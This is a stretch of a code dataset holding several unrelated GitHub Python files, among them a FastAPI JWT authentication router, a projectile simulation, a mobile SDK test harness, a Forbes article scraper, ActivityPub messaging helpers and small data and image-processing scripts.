tags=[\"users\"],\n)\ndef login(user: UserLogin, user_service: UserService = Depends(get_user_service)) -> Token:\n \"\"\"Login in service / get tokens\"\"\"\n user = user_service.authenticate_user(username=user.username, password=user.password)\n if not user:\n raise HTTPException(status_code=400, detail=\"Incorrect username or password\")\n user_data = dict(UserModel(**user.dict()))\n user_uuid = str(user_data[\"uuid\"])\n user_data[\"uuid\"] = user_uuid\n user_data[\"created_at\"] = str(user_data[\"created_at\"])\n refresh_uuid = str(uuid.uuid4())\n\n refresh_token = user_service.create_refresh_token(user_uuid, refresh_uuid)\n access_token = user_service.create_access_token(user_data, refresh_uuid)\n\n user_service.add_refresh_token(user_uuid, refresh_uuid)\n\n return Token(**{\"access_token\": access_token, \"refresh_token\": refresh_token})\n\n\n@router.post(\n path=\"/refresh\",\n response_model=Token,\n summary=\"Обновляет токен\",\n tags=[\"users\"],\n)\ndef refresh(user_service: UserService = Depends(get_user_service),\n token: str = Depends(reusable_oauth2)) -> Token:\n \"\"\"Update tokens\"\"\"\n try:\n payload = jwt.decode(token, JWT_SECRET_KEY, algorithms=[JWT_ALGORITHM])\n except JWTError:\n raise HTTPException(\n status_code=HTTP_403_FORBIDDEN, detail=\"Could not validate credentials\"\n )\n user_uuid = payload[\"uuid\"]\n jti = payload[\"jti\"]\n\n user_service.remove_refresh_token(user_uuid, jti)\n\n user = user_service.get_user_by_uuid(user_uuid)\n user_data = dict(UserModel(**user.dict()))\n user_data[\"uuid\"] = str(user_data[\"uuid\"])\n user_data[\"created_at\"] = str(user_data[\"created_at\"])\n\n refresh_uuid = str(uuid.uuid4())\n refresh_token = user_service.create_refresh_token(user_uuid, refresh_uuid)\n access_token = user_service.create_access_token(user_data, refresh_uuid)\n\n user_service.add_refresh_token(user_uuid, refresh_uuid)\n\n return Token(**{\"access_token\": access_token, \"refresh_token\": refresh_token})\n\n\n@router.get(\n path=\"/users/me\",\n summary=\"Смотреть свой профиль\",\n tags=[\"users\"],\n)\ndef get_user_info(user_service: UserService = Depends(get_user_service),\n token: str = Depends(reusable_oauth2)):\n \"\"\"Get user information\"\"\"\n current_user = user_service.get_user_by_token(token)\n return {\"user\": UserModel(**current_user)}\n\n\n@router.patch(\n path=\"/users/me\",\n summary=\"Обновить информацию профиля\",\n tags=[\"users\"],\n)\ndef update_user_info(new_data: UserUpdate,\n user_service: UserService = Depends(get_user_service),\n token: str = Depends(reusable_oauth2)) -> dict:\n \"\"\"Updates user information\"\"\"\n current_user = user_service.get_user_by_token(token)\n new_user = user_service.update_user_info(current_user, new_data)\n new_user_data = dict(UserModel(**new_user))\n new_user_data[\"uuid\"] = str(new_user_data[\"uuid\"])\n new_user_data[\"created_at\"] = str(new_user_data[\"created_at\"])\n refresh_uuid = user_service.get_refresh_uuid_from_access_token(token)\n\n id_token = user_service.get_id_token(token)\n user_service.block_access_token(id_token)\n\n response = {\"msg\": \"Update is successful. Please use new token.\"}\n response.update({\"user\": new_user_data})\n\n access_token = user_service.create_access_token(new_user_data, refresh_uuid)\n\n response.update({\"access_token\": access_token})\n\n return response\n\n\n@router.post(\n path=\"/logout\",\n summary=\"Выйти из аккаунта\",\n tags=[\"users\"],\n)\ndef logout(user_service: UserService = Depends(get_user_service),\n token: str = Depends(reusable_oauth2)) -> dict:\n \"\"\"Logout from current device/browser\"\"\"\n payload = jwt.decode(token, JWT_SECRET_KEY, algorithms=[JWT_ALGORITHM])\n jti = payload[\"jti\"]\n uuid = payload[\"uuid\"]\n refresh_uuid = payload[\"refresh_uuid\"]\n user_service.block_access_token(jti)\n user_service.remove_refresh_token(uuid, refresh_uuid)\n return {\"msg\": \"You have been logged out.\"}\n\n\n@router.post(\n path=\"/logout_all\",\n summary=\"Выйти со всех устройств\",\n tags=[\"users\"],\n)\ndef logout_all(user_service: UserService = Depends(get_user_service),\n token: str = Depends(reusable_oauth2)) -> dict:\n \"\"\"Logout from all device/browser\"\"\"\n payload = jwt.decode(token, JWT_SECRET_KEY, algorithms=[JWT_ALGORITHM])\n jti = payload[\"jti\"]\n uuid = payload[\"uuid\"]\n user_service.block_access_token(jti)\n user_service.remove_all_refresh_tokens(uuid)\n return {\"msg\": \"You have been logged out from all devices.\"}","repo_name":"navik86/auth_service_fastapi_jwt","sub_path":"src/api/v1/resources/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":5809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40481983055","text":"# cannonball.py\n# Simulation The Flying CannonBall\n\n'''\n Input the simulation parameter: angle, velocity, height, interval\n Calculate the inital position of the cannonball: xpos, ypos\n Calculate the inital velocities of the cannonball: xvel, yvel\n While the cannonball is still flying:\n update the values of xpos, ypos, and yvel for interval seconds\n further into the flight\n Output the distance traveled as xpos\n'''\n\nfrom math import cos, sin, radians\nfrom tracker import Tracker\nfrom graphics import *\n\ndef main():\n win = GraphWin('CannonBall', 500, 500)\n win.setCoords(-100,-100,100,100)\n angle, vel, h0, time = getInputs()\n cball = Projectile(angle, vel, h0)\n track = Tracker(win, cball)\n while cball.getY() >= 0:\n cball.update(time)\n track.update(cball)\n print('\\nThe distrance traveled: %0.1f meters.' % (cball.getY()))\n print(track)\n\ndef getInputs():\n angle = float(input('What is the angle of the launch: '))\n vel = float(input('What is the initial velocity: '))\n h0 = float(input('What is the height: ' ))\n time = float(input('Enter the time interval between calculations: '))\n return angle, vel, h0, time\n \nclass Projectile:\n\n def __init__(self, angle, velocity, height):\n self.xpos = 0.0\n self.ypos = height\n # No more use so do not need create instance variable\n theta = radians(angle)\n self.xvel = velocity * cos(theta)\n self.yvel = velocity * sin(theta)\n maxYPos = (self.yvel / 9.8) * self.yvel / 2.0\n self.maxHeight = height + maxYPos\n\n def getY(self):\n return self.ypos\n\n def getX(self):\n return self.xpos\n \n def getMaxY(self): \n return self.maxHeight \n \n def update(self, time):\n self.xpos = self.xpos + self.xvel * time\n yvel1 = self.yvel - time * 9.8\n self.ypos = self.ypos + time * (self.yvel + yvel1) / 2.0\n self.yvel = yvel1\n\nif __name__ == '__main__':\n main()\n \n","repo_name":"quynguyen2303/python_programming_introduction_to_computer_science","sub_path":"Chapter10/cannonball.py","file_name":"cannonball.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"40291590324","text":"import os, sys, tempfile\nimport platform, unittest2\nimport subprocess, logging\nimport shutil, zipfile\n\nlogging.basicConfig(\n\tformat = \"[%(asctime)s] [%(levelname)s] %(message)s\",\n\tdatefmt = \"%m/%d/%Y %I:%M:%S %p\",\n\tlevel = logging.INFO)\nlog = logging.getLogger(\"drillbit_sdk\")\n\nclass MobileSDKTest(unittest2.TestCase):\n\tCONFIG_ANDROID_SDK = \"androidSdk\"\n\tCONFIG_IOS_VERSION = \"iosVersion\"\n\tCONFIG_AUTO_DELETE_PROJECTS = \"autoDeleteProjects\"\n\tCONFIG_RUN_WITH_PDB = \"runWithPdb\"\n\tCONFIG_SUPPRESS_OUTPUT = \"suppressOutput\"\n\tCONFIG_MOBILE_SDK_ZIP = \"mobileSdkZip\"\n\tCONFIG_MOBILE_SDK_DIR = \"mobileSdkDir\"\n\n\t@classmethod\n\tdef getSdkConfig(cls, property):\n\t\timport sdkconfig\n\t\tif hasattr(sdkconfig, property):\n\t\t\treturn getattr(sdkconfig, property)\n\t\treturn None\n\n\t@classmethod\n\tdef setUpClass(cls):\n\t\tcls.sdkTestsDir = os.path.abspath(os.path.dirname(sys._getframe(0).f_code.co_filename))\n\t\tcls.mobileDir = os.path.dirname(os.path.dirname(cls.sdkTestsDir))\n\t\tsys.path.append(os.path.join(cls.mobileDir, \"build\"))\n\t\timport titanium_version\n\n\t\tsdkConfigScript = os.path.join(cls.sdkTestsDir, \"sdkconfig.py\")\n\t\tif not os.path.exists(sdkConfigScript):\n\t\t\tlog.error(\"No sdkconfig.py found in %s\" % cls.sdkTestsDir)\n\t\t\tlog.error(\"Copy sdkconfig.py.example for your environment\")\n\t\t\tsys.exit(1)\n\n\t\tcls.tiVersion = titanium_version.version\n\t\tcls.platformName = {\"Darwin\": \"osx\", \"Windows\": \"win32\", \"Linux\": \"linux\"}[platform.system()]\n\t\tmobileSdkZip = cls.getSdkConfig(cls.CONFIG_MOBILE_SDK_ZIP)\n\t\tmobileSdkDir = cls.getSdkConfig(cls.CONFIG_MOBILE_SDK_DIR)\n\n\t\tconfigFormatter = {\n\t\t\t\"platform\": cls.platformName,\n\t\t\t\"version\": cls.tiVersion,\n\t\t\t\"mobileDir\": cls.mobileDir }\n\t\tif mobileSdkDir:\n\t\t\tcls.mobileSdkDir = mobileSdkDir % configFormatter\n\t\telif mobileSdkZip:\n\t\t\tpath = mobileSdkZip % configFormatter\n\t\t\tzip = zipfile.ZipFile(path)\n\t\t\tcls.mobileSdkDir = tempfile.mkdtemp()\n\t\t\tlog.info(\"Extracting MobileSDK zip %s to %s...\" % (path, cls.mobileSdkDir))\n\t\t\tzip.extractall(cls.mobileSdkDir)\n\t\t\tzip.close()\n\t\telse:\n\t\t\tlog.error(\"No MobileSDK zip or directory specified, at least one is required to run the MobileSDK test suite\")\n\t\t\tsys.exit(1)\n\n\t\tif not os.path.exists(cls.mobileSdkDir):\n\t\t\tlog.error(\"MobileSDK directory doesn't exist: %s\" % cls.mobileSdkDir)\n\t\t\tsys.exit(1)\n\t\telse:\n\t\t\tlog.info(\"Using MobileSDK at %s\" % cls.mobileSdkDir)\n\n\tdef setUp(self):\n\t\timport sdkconfig\n\t\tself.projectScript = os.path.join(self.mobileSdkDir, \"project.py\")\n\t\tself.titaniumScript = os.path.join(self.mobileSdkDir, \"titanium.py\")\n\t\tself.androidDir = os.path.join(self.mobileSdkDir, \"android\")\n\t\tself.androidBuilderScript = os.path.join(self.androidDir, \"builder.py\")\n\t\tself.iphoneDir = os.path.join(self.mobileSdkDir, \"iphone\")\n\t\tself.iphoneBuilderScript = os.path.join(self.iphoneDir, \"builder.py\")\n\t\tif \"ANDROID_SDK\" in os.environ:\n\t\t\tself.androidSdk = os.environ[\"ANDROID_SDK\"]\n\t\telif hasattr(sdkconfig, \"androidSdk\"):\n\t\t\tself.androidSdk = sdkconfig.androidSdk\n\t\tif \"IOS_VERSION\" in os.environ:\n\t\t\tself.iosVersion = os.environ[\"IOS_VERSION\"]\n\t\telif hasattr(sdkconfig, \"iosVersion\"):\n\t\t\tself.iosVersion = sdkconfig.iosVersion\n\t\tself.testDir = tempfile.mkdtemp()\n\n\tdef pythonProcess(self, *args, **kwargs):\n\t\tpyArgs = [sys.executable]\n\n\t\trunWithPdb = self.getSdkConfig(self.CONFIG_RUN_WITH_PDB)\n\t\tif runWithPdb:\n\t\t\tpyArgs.append(\"-mpdb\")\n\n\t\tpyArgs.extend(*args)\n\n\t\tif self.getSdkConfig(self.CONFIG_SUPPRESS_OUTPUT) and not runWithPdb:\n\t\t\tkwargs[\"stdout\"] = subprocess.PIPE\n\t\treturn subprocess.Popen(pyArgs, **kwargs)\n\n\tdef createProject(self, name, platform, id=None, sdk=None):\n\t\tself.projectName = name\n\t\tself.projectId = id\n\t\tif id == None:\n\t\t\tself.projectId = \"org.appcelerator.drillbit.\" + name\n\n\t\targs = [self.projectScript, self.projectName, self.projectId,\n\t\t\tself.testDir, platform]\n\n\t\tif sdk == None and platform == \"android\":\n\t\t\targs.append(self.androidSdk)\n\t\telif sdk == None and platform in (\"iphone\", \"ios\", \"ipad\"):\n\t\t\targs.append(self.iosVersion)\n\t\telif sdk != None:\n\t\t\targs.append(sdk)\n\n\t\tp = self.pythonProcess(args)\n\t\tp.communicate()\n\t\tself.assertEqual(p.returncode, 0)\n\n\t\tself.projectDir = os.path.join(self.testDir, self.projectName)\n\t\tself.assertTrue(os.path.exists(self.projectDir))\n\t\tlogging.info(\"Succesfully created project at %s\" % self.projectDir)\n\n\tdef buildAndroidProject(self):\n\t\tp = self.pythonProcess([self.androidBuilderScript, \"build\",\n\t\t\tself.projectName, self.androidSdk, self.projectDir, self.projectId])\n\t\tp.communicate()\n\t\tself.assertEqual(p.returncode, 0)\n\n\tdef buildIOSProject(self):\n\t\tp = self.pythonProcess([self.iphoneBuilderScript, \"build\",\n\t\t\tself.iosVersion, self.projectDir, self.projectId, self.projectName])\n\t\tp.communicate()\n\t\tself.assertEqual(p.returncode, 0)\n\n\tdef tearDown(self):\n\t\tif self.getSdkConfig(self.CONFIG_AUTO_DELETE_PROJECTS):\n\t\t\tshutil.rmtree(self.testDir)\n","repo_name":"rakeshr/TideSDK-Mobile","sub_path":"drillbit/sdk_tests/mobilesdk.py","file_name":"mobilesdk.py","file_ext":"py","file_size_in_byte":4803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70264082030","text":"import pandas as pd\nimport requests\nimport gzip\nimport os\n\ndef read_gzipped_json_from_url(url, save_dir=\"C:/Users/mikke/OneDrive - Syddansk Universitet/Data Science/10. Anvendt Maskinlæring/data\", chunk_size=1024*1024, max_rows=1_000_000):\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n filename = url.split('/')[-1]\n json_filepath = os.path.join(save_dir, filename)\n csv_filepath = json_filepath.replace('.json.gz', '.csv')\n\n response = requests.get(url, stream=True)\n\n if response.status_code == 200:\n file_size = int(response.headers.get('content-length', 0))\n print(f\"Downloading {filename} of size {file_size / 1024 / 1024:.2f} MB\")\n\n with open(json_filepath, 'wb') as f:\n for chunk in response.iter_content(chunk_size=chunk_size):\n f.write(chunk)\n\n with gzip.open(json_filepath, 'rb') as gz:\n df = pd.read_json(gz, lines=True, nrows=max_rows)\n df.to_csv(csv_filepath, index=False) # Save as CSV\n return df\n else:\n print(f\"Failed to retrieve data: status code {response.status_code}\")\n return None\n\n#amazon_fashion = 'https://datarepo.eng.ucsd.edu/mcauley_group/data/amazon_v2/categoryFiles/AMAZON_FASHION.json.gz'\n#luxury_beauty = 'https://datarepo.eng.ucsd.edu/mcauley_group/data/amazon_v2/categoryFilesSmall/Luxury_Beauty_5.json.gz'\n#all_beauty = 'https://datarepo.eng.ucsd.edu/mcauley_group/data/amazon_v2/categoryFiles/All_Beauty.json.gz'\n#arts_crafts_and_sewing = 'https://datarepo.eng.ucsd.edu/mcauley_group/data/amazon_v2/categoryFiles/Arts_Crafts_and_Sewing.json.gz'\n#clothing_shoes_and_jewelry = 'https://datarepo.eng.ucsd.edu/mcauley_group/data/amazon_v2/categoryFilesSmall/Clothing_Shoes_and_Jewelry_5.json.gz'\n#sports_and_outdoors = 'https://datarepo.eng.ucsd.edu/mcauley_group/data/amazon_v2/categoryFilesSmall/Sports_and_Outdoors_5.json.gz'\ngrocery_and_gourmet_food = 'https://datarepo.eng.ucsd.edu/mcauley_group/data/amazon_v2/categoryFilesSmall/Grocery_and_Gourmet_Food_5.json.gz'\n\n#df_amazon_fashion = read_gzipped_json_from_url(amazon_fashion).reset_index(drop=True)\n#df_luxury_beauty = read_gzipped_json_from_url(luxury_beauty).reset_index(drop=True)\n#df_all_beauty = read_gzipped_json_from_url(all_beauty).reset_index(drop=True)\n#df_arts_crafts_and_sewing = read_gzipped_json_from_url(arts_crafts_and_sewing).reset_index(drop=True)\n#clothing_shoes_and_jewelry = read_gzipped_json_from_url(clothing_shoes_and_jewelry).reset_index(drop=True)\n#sports_and_outdoors = read_gzipped_json_from_url(sports_and_outdoors).reset_index(drop=True)\ngrocery_and_gourmet_food = read_gzipped_json_from_url(grocery_and_gourmet_food).reset_index(drop=True)\n","repo_name":"miklvj/AML","sub_path":"exam/Get_data.py","file_name":"Get_data.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70182113391","text":"# -*- coding: utf-8 -*-\nfrom io import StringIO\nfrom collector.models import DocumentSource\nfrom lxml import etree\nfrom lxml.html import fromstring\nfrom datetime import timedelta\nfrom time import strftime\nimport collector.sm as sm\nimport traceback\nimport datetime\nimport re\n\n\nBUNDLE_KEY = \"FORBES\"\nBUNDLE_NAME = \"Forbes Blogs / All\"\n\n\ndef get_or_create_source():\n\tsource, created = DocumentSource.objects.get_or_create(\n\t\tname = BUNDLE_NAME,\n\t\tkey = BUNDLE_KEY,\n\t\turl = \"http://www.forbes.com/\",\n\t)\n\tif not created:source.save()\n\treturn source\n\n\nSITE_SECTIONS = (\n\t\"business\",\n\t\"investing\",\n\t\"technology\",\n\t\"entrepreneurs\",\n\t\"leadership\",\n\t\"lifestyle\",\n\t\"lists\",)\nPROBE_HOURS = (\"00:00:01\", \"04:00:00\",\n\t\t\t \"08:00:00\", \"12:00:00\",\n\t\t\t \"16:00:00\", \"20:00:00\",\n\t\t\t \"23:00:00\")\nREQUEST_URL_PAT = \"http://www.forbes.com/%s/more?\" \\\n\t\t\t\t \"publishdate=%s %s&offset=0&limit=\"\ndef rivers_count(_, length):\n\treturn length * len(PROBE_HOURS) * len(SITE_SECTIONS)\ndef __daterange__(start_date, end_date):\n\tfor n in range((end_date - start_date).days):\n\t\tyield start_date + timedelta(n)\ndef make_river_link_iterator(start, length):\n\tstart_date = datetime.datetime.now() - timedelta(start)\n\tend_date = start_date - timedelta(length)\n\tfor date in __daterange__(end_date, start_date):\n\t\tfor probe_time in PROBE_HOURS:\n\t\t\tfor section in SITE_SECTIONS:\n\t\t\t\tprobe_date = strftime(\"%m/%d/%Y\", date.timetuple())\n\t\t\t\tyield REQUEST_URL_PAT % (section, probe_date, probe_time)\n\n\nLINK_SPOT_XPATH = \"li/article/hgroup/h2/a/@href\"\ndef spot_links(html):\n\ttree = fromstring(html)\n\treturn set(tree.xpath(LINK_SPOT_XPATH))\n\n\nXPATH_TITLE = \"/html/head/title/text()\"\nRE_TITLE = re.compile(\"(.+)\\s+- Forbes.*\")\nRE_EMPTY = re.compile(\"\\s+\")\nRE_DATE_1 = re.compile(\"\\s*([0-9\\\\/]+).*@\\s*([0-9\\\\:APMpm]+)\\s*\")\nRE_DATE_2 = re.compile(\"(\\d\\d\\\\.\\d\\d\\\\.\\d\\d).+(\\d\\d\\\\:\\d\\d [APMapm]{2})\")\ndef extract_essential(rawdoc):\n\ttree = fromstring(rawdoc.body)\n\ttry:\n\t\ttitle = re.findall(RE_TITLE, tree.xpath(XPATH_TITLE)[0])[0]\n\texcept Exception:\n\t\ttitle = None\n\tauthor_url = tree.xpath(\"id('abovefold')/div/div[1]/div[2]/p[1]/a/@href\")\n\tif not author_url: author_url = tree.xpath(\"id('storyBody')/cite/a/@href\")\n\n\ttry:\n\t\ttry:\n\t\t\tif \"forbes.com/sites/\" in rawdoc.url:\n\t\t\t\tbody_el = tree.find_class(\"body\")\n\t\t\telse:\n\t\t\t\tbody_el = tree.find_class(\"lingo_region\")\n\t\t\tbody_el = body_el[0]\n\t\t\tbody = \"\\n\".join([e.xpath(\"string()\")\n\t\t\t\t\t\t\t for e in body_el if e.tag == \"p\"])\n\t\texcept Exception: body = None\n\t\tif not body:\n\t\t\ttry:\n\t\t\t\tbody_el = tree.get_element_by_id(\"intro\")\n\t\t\t\tbody = body_el.xpath(\"string()\")\n\t\t\texcept Exception: body = None\n\t\tif not body:\n\t\t\ttry:\n\t\t\t\tbody_el = tree.find_class(\"body\")[0]\n\t\t\t\tp_els = body_el.findall(\".//p\")\n\t\t\t\tbody = \"\\n\".join([p.xpath(\"string()\") for p in p_els])\n\n\t\t\texcept Exception: body = None\n\texcept Exception: body = None\n\tif body: body = re.sub(RE_EMPTY, \" \", body)\n\ttry:\n\t\tdate_str = tree.xpath(\"id('abovefold')/div/div[1]/hgroup/h6/text()\")[0]\n\t\tdt_tuple = re.findall(RE_DATE_1, date_str)[0]\n\t\tpublished = datetime.datetime.strptime(\"%s %s\" % dt_tuple, '%m/%d/%Y %I:%M%p')\n\texcept Exception:\n\t\ttry:\n\t\t\tdate_str = tree.xpath(\"id('storyBody')/span/text()\")[0]\n\t\t\tdt_tuple = re.findall(RE_DATE_2, date_str)[0]\n\t\t\tpublished = datetime.datetime.strptime(\"%s %s\" % dt_tuple, '%m.%d.%y %I:%M %p')\n\n\t\texcept Exception:\n\t\t\tpublished = None\n\treturn {\n\t\t\"title\": title,\n\t\t\"author_url\": author_url if author_url else [],\n\t\t\"content\": body,\n\t\t\"published\": published if published else None\n\t}\n\n\nXPATH_VIEWS = \"id('abovefold')/div/div[1]/hgroup/h6[2]/text()\"\nRE_VIEWS = re.compile(\"(\\d+)\\,?(\\d+)\\s+views\")\ndef _extract_views(tree):\n\tviews_str = tree.xpath(XPATH_VIEWS)\n\tif views_str:\n\t\ttry:\n\t\t\tif isinstance(views_str, list) and len(views_str) == 2:\n\t\t\t\tviews = re.findall(RE_VIEWS, views_str[1])[0]\n\t\t\t\tviews = int(views[0] + views[1])\n\t\t\t\treturn views\n\t\t\telif isinstance(views_str, list) and len(views_str) == 1:\n\t\t\t\tviews = re.findall(RE_VIEWS, views_str[0])[0]\n\t\t\telse:\n\t\t\t\tviews = re.findall(RE_VIEWS, views_str)[0]\n\t\t\treturn int(views)\n\t\texcept: return -1\n\telse: return -1\nXPATH_COMMENTS = \"id('abovefold')/div/div[1]/div[3]/div[3]/div[2]/a/text()\"\nRE_COMMENTS = re.compile(\"\\s*(\\d+)\\s+.+\\s+(\\d+)\\s+called.+\\s*\")\ndef _extract_comments(tree):\n\tcomments_str = tree.xpath(XPATH_COMMENTS)\n\tif comments_str:\n\t\tcomments = re.findall(RE_COMMENTS, comments_str[0])[0]\n\t\treturn int(comments[0]), int(comments[1])\n\telse: return -1, -1\ndef get_probes(raw_document):\n\t# print raw_document.url\n\ttree = fromstring(raw_document.body)\n\t# fb_resp = sm.fb_probe(raw_document.url)\n\t# tw_resp = sm.tw_probe(raw_document.url)\n\t# su_resp = sm.su_probe(raw_document.url)\n\t# li_resp = sm.li_probe(raw_document.url)\n\t# dg_resp = sm.dg_probe(raw_document.url)\n\tcomments = _extract_comments(tree)\n\treturn {\n\t\t\"vi\": _extract_views(tree),\n\t\t\"co\": comments[0] + comments[1] if comments[0] > 0 else 0,\n\t\t\"c1\": comments[0],\n\t\t\"c2\": comments[1],\n\t\t# \"fb\": fb_resp[0] + fb_resp[1],\n\t\t# \"fs\": fb_resp[0],\n\t\t# \"fc\": fb_resp[1],\n\t\t# \"tw\": tw_resp,\n\t\t# \"su\": su_resp,\n\t\t# \"li\": li_resp,\n\t\t# \"dg\": dg_resp,\n\t}\n\n\n\n\n\n\n\n\n\n","repo_name":"zaycev/farseer","sub_path":"bundle/forbes.py","file_name":"forbes.py","file_ext":"py","file_size_in_byte":5076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19421601833","text":"from dataclasses import dataclass\n\nfrom omtool.actions_after import extract_action\nfrom omtool.core.utils import BaseTestCase\n\n\n@dataclass\nclass nested:\n attr = \"value\"\n\n\n@dataclass\nclass x:\n field = 5\n nest_field = nested()\n\n\nclass TestExtractAction(BaseTestCase):\n def test_keep_old(self):\n data = {\"field1\": x()}\n\n actual = extract_action(data, field2=\"field1.field\")\n expected = {\"field1\": x(), \"field2\": 5}\n\n self.assertEqual(actual, expected)\n\n def test_nesting(self):\n data = {\"field1\": x()}\n\n actual = extract_action(data, field2=\"field1.nest_field.attr\")\n expected = {\"field1\": x(), \"field2\": \"value\"}\n\n self.assertEqual(actual, expected)\n\n def test_not_keep_old(self):\n data = {\"field1\": x()}\n\n actual = extract_action(data, keep_old=False, field2=\"field1.field\")\n expected = {\"field2\": 5}\n\n self.assertEqual(actual, expected)\n\n def test_no_kwargs(self):\n data = {\"field1\": x()}\n actual = extract_action(data)\n expected = {\"field1\": x()}\n\n self.assertEqual(actual, expected)\n\n def test_no_such_key(self):\n data = {\"field1\": x()}\n self.assertRaises(KeyError, extract_action, data, field2=\"nonexistent_field.field\")\n\n def test_no_such_field(self):\n data = {\"field1\": x()}\n self.assertRaises(AttributeError, extract_action, data, field2=\"field1.nonexistent_field\")\n","repo_name":"Kraysent/OMTool","sub_path":"tests/actions_after/extract_action_test.py","file_name":"extract_action_test.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"24405227581","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\nimg = cv.imread('photos/hadeen.png')\r\ncv.imshow('Hadeen', img)\r\n\r\ngray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\r\ncv.imshow('Gray', gray)\r\n\r\n# Laplacian\r\nlap = cv.Laplacian(gray, cv.CV_64F)\r\nlap = np.uint8(np.absolute(lap))\r\ncv.imshow('Laplacian', lap)\r\n\r\ncv.waitKey(0)","repo_name":"UzomaCollins/OpenCV-Tutorials","sub_path":"Edge Detection.py","file_name":"Edge Detection.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33972293274","text":"# C. 数を3つ選ぶマン\n# Difficulty: brown\n# URL: https://atcoder.jp/contests/abc028/tasks/abc028_c\n\nABCDE = list(map(int,input().split()))\n\nt = set()\nfor x in range(5):\n for y in range(5):\n if x != y:\n for z in range(5):\n if y != z and x != z:\n t.add(ABCDE[x] + ABCDE[y] + ABCDE[z])\nt = list(t)\nt.sort(reverse=True)\nprint(t[2])\n\n# AC\n# Complete at 2023-07-15T22:57:56.779Z","repo_name":"kangping-git/atcoder_Brown","sub_path":"abc028_c.complete.py","file_name":"abc028_c.complete.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4460058551","text":"from uuid import uuid4\nfrom concurrent.futures import ThreadPoolExecutor\n\nfrom flask import url_for, current_app\n\nfrom framework.signatures import signed_request, signed_content\nfrom framework.constants import AP_CONTEXT, PUBLIC_AUDIENCE\nfrom requests.exceptions import ConnectionError\n\n\ndef random_id():\n return f\"https://{current_app.config.get('SERVER_NAME')}/{uuid4()}\"\n\n\ndef detailed_post_to_inbox(actor_key, key_id, actor_recieving, data):\n try:\n return signed_request(\n actor_key,\n key_id,\n \"post\",\n f\"{actor_recieving}/inbox\",\n json=data,\n headers={\"content-type\": \"application/activity+json\"},\n )\n except ConnectionError:\n pass\n\n\ndef post_to_inbox(actor_sending, actor_recieving, data, bp_name=\"\"):\n try:\n return detailed_post_to_inbox(\n actor_sending.private_key,\n url_for(\n f\"{bp_name}.actor\", actor_id=actor_sending.id, _external=True, _anchor=\"main-key\"\n ),\n actor_recieving,\n data,\n )\n except ConnectionError:\n pass\n\n\ndef accept_object(source_actor, target_actor, obj, bp_name=\"\"):\n post_to_inbox(\n source_actor,\n target_actor,\n {\n \"@context\": AP_CONTEXT,\n \"id\": random_id(),\n \"type\": \"Accept\",\n \"actor\": url_for(f\"{bp_name}.actor\", actor_id=source_actor.id, _external=True),\n \"object\": obj,\n },\n )\n\n\ndef announce_object(source_actor, target_actors, obj, announce_id=None, bp_name=\"\"):\n if announce_id is None:\n announce_id = random_id()\n\n actor_id = url_for(f\"{bp_name}.actor\", actor_id=source_actor.id, _external=True)\n key_id = url_for(\n f\"{bp_name}.actor\", actor_id=source_actor.id, _external=True, _anchor=\"main-key\"\n )\n\n def _post_announce(target_actor):\n content = signed_content(\n source_actor.private_key,\n key_id,\n {\n \"@context\": AP_CONTEXT,\n \"id\": announce_id,\n \"to\": \"https://www.w3.org/ns/activitystreams#Public\",\n \"type\": \"Announce\",\n \"actor\": actor_id,\n \"object\": obj,\n },\n )\n\n detailed_post_to_inbox(source_actor.private_key, key_id, target_actor, content)\n\n with ThreadPoolExecutor(max_workers=20) as pool:\n pool.map(_post_announce, [a for a in target_actors if a != actor_id])\n\n\ndef request_follow(source_actor, target_actor, bp_name=\"\"):\n post_to_inbox(\n source_actor,\n target_actor,\n {\n \"@context\": AP_CONTEXT,\n \"id\": random_id(),\n \"type\": \"Follow\",\n \"actor\": url_for(f\"{bp_name}.actor\", actor_id=source_actor.id, _external=True),\n \"object\": target_actor,\n },\n bp_name=bp_name,\n )\n\n\ndef request_unfollow(source_actor, target_actor, bp_name=\"\"):\n post_to_inbox(\n source_actor,\n target_actor,\n {\n \"@context\": AP_CONTEXT,\n \"id\": random_id(),\n \"type\": \"Undo\",\n \"actor\": url_for(f\"{bp_name}.actor\", actor_id=source_actor.id, _external=True),\n \"object\": {\"type\": \"Follow\", \"object\": target_actor},\n },\n bp_name=bp_name,\n )\n\n\ndef update_object(source_actor, target_actors, obj, announce_id=None, bp_name=\"\"):\n if announce_id is None:\n announce_id = random_id()\n\n actor_id = url_for(f\"{bp_name}.actor\", actor_id=source_actor.id, _external=True)\n key_id = url_for(\n f\"{bp_name}.actor\", actor_id=source_actor.id, _external=True, _anchor=\"main-key\"\n )\n\n def _post_update(target_actor):\n detailed_post_to_inbox(\n source_actor.private_key,\n key_id,\n target_actor,\n {\n \"@context\": AP_CONTEXT,\n \"id\": announce_id,\n \"type\": \"Update\",\n \"to\": [PUBLIC_AUDIENCE],\n \"actor\": actor_id,\n \"object\": obj,\n },\n )\n\n with ThreadPoolExecutor(max_workers=20) as pool:\n pool.map(_post_update, [a for a in target_actors if a != actor_id])\n","repo_name":"sgenoud/federa","sub_path":"framework/actor_actions.py","file_name":"actor_actions.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"} +{"seq_id":"44183926174","text":"from pickle import BINSTRING\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy \n\n\nplt.rcParams[\"figure.figsize\"] = (20,8)\n\nimport numpy as 